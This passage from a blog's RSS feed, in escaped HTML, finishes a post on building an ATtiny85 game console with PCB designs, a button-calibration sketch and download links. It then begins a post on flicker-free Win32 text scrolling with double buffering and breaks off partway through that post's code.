&lt;/picture&gt; &lt;/div&gt; &lt;p&gt;You can fix this with trace cuts and jumpers, but I made a second design with configurable pads:&lt;/p&gt; &lt;div class=&quot;text-center&quot;&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/attiny85-game/design-b-front.avif 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;/assets/images/attiny85-game/design-b-front.webp 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/attiny85-game/design-b-front.png&quot; alt=&quot;Design B front&quot; class=&quot;&quot; width=&quot;230&quot; height=&quot;403&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;/div&gt; &lt;p&gt;The first two pins are labeled &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1 and 2&lt;/code&gt; with a 4-pad box for configuration. If your screen is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VCC-GND&lt;/code&gt;, connect PIN1 to VCC and PIN2 to GND. If it’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GND-VCC&lt;/code&gt;, reverse them.&lt;/p&gt; &lt;div class=&quot;text-center&quot;&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/attiny85-game/two-types-480w.avif 480w, /assets/images/attiny85-game/two-types.avif 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;/assets/images/attiny85-game/two-types-480w.webp 480w, /assets/images/attiny85-game/two-types.webp 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/attiny85-game/two-types.png&quot; alt=&quot;two types of PCB&quot; class=&quot;&quot; width=&quot;500&quot; height=&quot;400&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;/div&gt; &lt;p&gt;I call these Design A (specific to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VCC-GND-SCL-SDA&lt;/code&gt; screens) and Design B (works with either pin order).&lt;/p&gt; &lt;h2 id=&quot;assembly&quot;&gt;Assembly&lt;/h2&gt; &lt;p&gt;After a week, the PCB and components arrived.&lt;/p&gt; &lt;div id=&quot;imageSlider&quot; class=&quot;carousel slide&quot; data-bs-ride=&quot;carousel&quot;&gt; &lt;div class=&quot;carousel-indicators&quot;&gt; &lt;button type=&quot;button&quot; data-bs-target=&quot;#imageSlider&quot; data-bs-slide-to=&quot;0&quot; class=&quot;active&quot; aria-current=&quot;true&quot; aria-label=&quot;Slide 1&quot;&gt;&lt;/button&gt; &lt;button type=&quot;button&quot; data-bs-target=&quot;#imageSlider&quot; data-bs-slide-to=&quot;1&quot; aria-label=&quot;Slide 2&quot;&gt;&lt;/button&gt; &lt;button type=&quot;button&quot; data-bs-target=&quot;#imageSlider&quot; data-bs-slide-to=&quot;2&quot; aria-label=&quot;Slide 3&quot;&gt;&lt;/button&gt; &lt;button type=&quot;button&quot; data-bs-target=&quot;#imageSlider&quot; data-bs-slide-to=&quot;3&quot; aria-label=&quot;Slide 4&quot;&gt;&lt;/button&gt; &lt;/div&gt; &lt;div class=&quot;carousel-inner text-center&quot;&gt; &lt;div class=&quot;carousel-item active&quot;&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/attiny85-game/20200314_205335-480w.avif 480w, /assets/images/attiny85-game/20200314_205335-640w.avif 640w, /assets/images/attiny85-game/20200314_205335.avif 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;/assets/images/attiny85-game/20200314_205335-480w.webp 480w, /assets/images/attiny85-game/20200314_205335-640w.webp 640w, /assets/images/attiny85-game/20200314_205335-960w.webp 960w, /assets/images/attiny85-game/20200314_205335.webp 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/jpeg&quot; srcset=&quot;/assets/images/attiny85-game/20200314_205335-480w.jpg 480w, /assets/images/attiny85-game/20200314_205335-640w.jpg 640w, /assets/images/attiny85-game/20200314_205335-960w.jpg 960w, /assets/images/attiny85-game/20200314_205335.jpg 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/attiny85-game/20200314_205335.jpg&quot; alt=&quot;Assembled front&quot; class=&quot;&quot; width=&quot;965&quot; height=&quot;1600&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;/div&gt; &lt;div class=&quot;carousel-item&quot;&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/attiny85-game/20200314_205316-480w.avif 480w, /assets/images/attiny85-game/20200314_205316-640w.avif 640w, /assets/images/attiny85-game/20200314_205316-960w.avif 960w, /assets/images/attiny85-game/20200314_205316.avif 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;/assets/images/attiny85-game/20200314_205316-480w.webp 480w, /assets/images/attiny85-game/20200314_205316-640w.webp 640w, /assets/images/attiny85-game/20200314_205316-960w.webp 960w, /assets/images/attiny85-game/20200314_205316.webp 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/jpeg&quot; srcset=&quot;/assets/images/attiny85-game/20200314_205316-480w.jpg 480w, /assets/images/attiny85-game/20200314_205316-640w.jpg 640w, /assets/images/attiny85-game/20200314_205316-960w.jpg 960w, /assets/images/attiny85-game/20200314_205316.jpg 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/attiny85-game/20200314_205316.jpg&quot; alt=&quot;Assembled back&quot; class=&quot;&quot; width=&quot;986&quot; height=&quot;1600&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;/div&gt; &lt;div class=&quot;carousel-item&quot;&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/attiny85-game/20200314_205255-480w.avif 480w, /assets/images/attiny85-game/20200314_205255-640w.avif 640w, /assets/images/attiny85-game/20200314_205255.avif 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;/assets/images/attiny85-game/20200314_205255-480w.webp 480w, /assets/images/attiny85-game/20200314_205255-640w.webp 640w, /assets/images/attiny85-game/20200314_205255-960w.webp 960w, /assets/images/attiny85-game/20200314_205255.webp 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/jpeg&quot; srcset=&quot;/assets/images/attiny85-game/20200314_205255-480w.jpg 480w, /assets/images/attiny85-game/20200314_205255-640w.jpg 640w, /assets/images/attiny85-game/20200314_205255-960w.jpg 960w, /assets/images/attiny85-game/20200314_205255.jpg 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/attiny85-game/20200314_205255.jpg&quot; alt=&quot;Assembled front 2&quot; class=&quot;&quot; width=&quot;967&quot; height=&quot;1600&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;/div&gt; &lt;div class=&quot;carousel-item&quot;&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/attiny85-game/20200314_205234-480w.avif 480w, /assets/images/attiny85-game/20200314_205234-640w.avif 640w, /assets/images/attiny85-game/20200314_205234-960w.avif 960w, /assets/images/attiny85-game/20200314_205234.avif 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;/assets/images/attiny85-game/20200314_205234-480w.webp 480w, /assets/images/attiny85-game/20200314_205234-640w.webp 640w, /assets/images/attiny85-game/20200314_205234-960w.webp 960w, /assets/images/attiny85-game/20200314_205234.webp 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/jpeg&quot; srcset=&quot;/assets/images/attiny85-game/20200314_205234-480w.jpg 480w, /assets/images/attiny85-game/20200314_205234-640w.jpg 640w, /assets/images/attiny85-game/20200314_205234-960w.jpg 960w, /assets/images/attiny85-game/20200314_205234.jpg 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/attiny85-game/20200314_205234.jpg&quot; alt=&quot;Assembled back 2&quot; class=&quot;&quot; width=&quot;992&quot; height=&quot;1600&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;/div&gt; &lt;/div&gt; &lt;button class=&quot;carousel-control-prev&quot; type=&quot;button&quot; data-bs-target=&quot;#imageSlider&quot; data-bs-slide=&quot;prev&quot;&gt; &lt;span class=&quot;carousel-control-prev-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt; &lt;span class=&quot;sr-only&quot;&gt;Previous&lt;/span&gt; &lt;/button&gt; &lt;button class=&quot;carousel-control-next&quot; type=&quot;button&quot; data-bs-target=&quot;#imageSlider&quot; data-bs-slide=&quot;next&quot;&gt; &lt;span class=&quot;carousel-control-next-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt; &lt;span class=&quot;sr-only&quot;&gt;Next&lt;/span&gt; &lt;/button&gt; &lt;/div&gt; &lt;h2 id=&quot;calibrating-the-controls&quot;&gt;Calibrating the Controls&lt;/h2&gt; &lt;p&gt;The directional buttons connect to PIN 2 (A3) of the Attiny85. The code uses &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;analogRead&lt;/code&gt; to determine which button is pressed, but the exact values depend on your resistors and wiring. Use this code to find your values:&lt;/p&gt; &lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;setup&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_delay_ms&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;40&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SSD1306&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ssd1306_init&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;loop&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_delay_ms&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;500&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SSD1306&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ssd1306_fillscreen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;analogRead&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;A3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;value: %d&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SSD1306&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ssd1306_setpos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SSD1306&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ssd1306_string_font6x8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;My values:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;UP: 180-250&lt;/li&gt; &lt;li&gt;DOWN: 300-400&lt;/li&gt; &lt;li&gt;LEFT: 90-110&lt;/li&gt; &lt;li&gt;RIGHT: &amp;gt;400&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;Update these in the game’s loop function, compile, and burn to the Attiny85. You can use an Arduino as ISP or a USBasp programmer.&lt;/p&gt; &lt;div class=&quot;text-center&quot;&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/attiny85-game/20200314_205203-480w.avif 480w, /assets/images/attiny85-game/20200314_205203-640w.avif 640w, /assets/images/attiny85-game/20200314_205203-960w.avif 960w, /assets/images/attiny85-game/20200314_205203.avif 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;/assets/images/attiny85-game/20200314_205203-480w.webp 480w, /assets/images/attiny85-game/20200314_205203-640w.webp 640w, /assets/images/attiny85-game/20200314_205203-960w.webp 960w, /assets/images/attiny85-game/20200314_205203.webp 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/jpeg&quot; srcset=&quot;/assets/images/attiny85-game/20200314_205203-480w.jpg 480w, /assets/images/attiny85-game/20200314_205203-640w.jpg 640w, /assets/images/attiny85-game/20200314_205203-960w.jpg 960w, /assets/images/attiny85-game/20200314_205203.jpg 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/attiny85-game/20200314_205203.jpg&quot; alt=&quot;running game 1&quot; class=&quot;&quot; width=&quot;972&quot; height=&quot;1600&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/attiny85-game/20200314_205140-480w.avif 480w, /assets/images/attiny85-game/20200314_205140-640w.avif 640w, /assets/images/attiny85-game/20200314_205140.avif 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;/assets/images/attiny85-game/20200314_205140-480w.webp 480w, /assets/images/attiny85-game/20200314_205140-640w.webp 640w, /assets/images/attiny85-game/20200314_205140.webp 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/jpeg&quot; srcset=&quot;/assets/images/attiny85-game/20200314_205140-480w.jpg 480w, /assets/images/attiny85-game/20200314_205140-640w.jpg 640w, /assets/images/attiny85-game/20200314_205140.jpg 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/attiny85-game/20200314_205140.jpg&quot; alt=&quot;running game 2&quot; class=&quot;&quot; width=&quot;952&quot; height=&quot;1600&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;/div&gt; &lt;p&gt;Thanks to Daniel and Dave for the original work.&lt;/p&gt; &lt;h2 id=&quot;downloads&quot;&gt;Downloads&lt;/h2&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;/assets/files/attiny-85-games/design-a-easyeda.zip&quot;&gt;Design A, EasyEDA project&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;/assets/files/attiny-85-games/design-b-easyeda.zip&quot;&gt;Design B, EasyEDA project&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;/assets/files/attiny-85-games/design-a-gerber.zip&quot;&gt;Design A, gerber files&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;/assets/files/attiny-85-games/design-b-gerber.zip&quot;&gt;Design B, gerber files&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;/assets/files/attiny-85-games/element14-episode-384-schematic.zip&quot;&gt;Original schematic from Dave&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;/assets/files/attiny-85-games/games.zip&quot;&gt;Some ready to use games&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; </description> <pubDate>Wed, 04 Mar 2020 00:00:00 +0000</pubDate> <link>https://tejashwi.in/a-tiny-game-console-based-on-attiny85/</link> <guid isPermaLink="true">https://tejashwi.in/a-tiny-game-console-based-on-attiny85/</guid> <category>diy</category> <category>electronics</category> <category>pcb</category> <category>Electronics</category> <category>DIY</category> </item> <item> <title>Flicker-free text scrolling with Double buffering in Windows</title> <description>&lt;p&gt;If you’ve tried scrolling text over an image in a Win32 application, you’ve probably seen flickering. The text doesn’t draw cleanly over the background. This happens because Windows repaints the background and then the text separately, and your eye catches the gap between them.&lt;/p&gt; &lt;p&gt;Double buffering fixes this by drawing everything to a memory buffer first, then copying the completed image to the screen in one operation.&lt;/p&gt; &lt;h2 id=&quot;the-approach&quot;&gt;The Approach&lt;/h2&gt; &lt;ol&gt; &lt;li&gt;Create a memory buffer&lt;/li&gt; &lt;li&gt;Draw the background image to the buffer&lt;/li&gt; &lt;li&gt;Draw the scrolling text to the buffer&lt;/li&gt; &lt;li&gt;Copy the buffer to the screen&lt;/li&gt; &lt;li&gt;Free resources&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;First, calculate how much space the text needs:&lt;/p&gt; &lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c1&quot;&gt;// Counts the number of lines in scroll text&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TextLen&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lstrlen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;nLines&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TextLen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;sc&quot;&gt;&apos;\n&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;nLines&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Gets the size of total scroll texts&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SIZE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sizeAboutText&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;HDC&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hDC&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GetDC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hWnd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;HDC&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hDCMem&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CreateCompatibleDC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hDC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SelectObject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hDCMem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hFont&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GetTextExtentPoint32A&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hDCMem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TextLen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sizeAboutText&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Calculates the needed size for given scroll text&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GetClientRect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hWnd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rcClient&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rcText&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bottom&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sizeAboutText&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cy&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;nLines&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rcClient&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bottom&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rcText&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;top&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rcClient&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bottom&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rcText&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;right&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rcClient&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;right&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rcText&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;left&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rcClient&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;left&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;Get the background image dimensions:&lt;/p&gt; &lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div 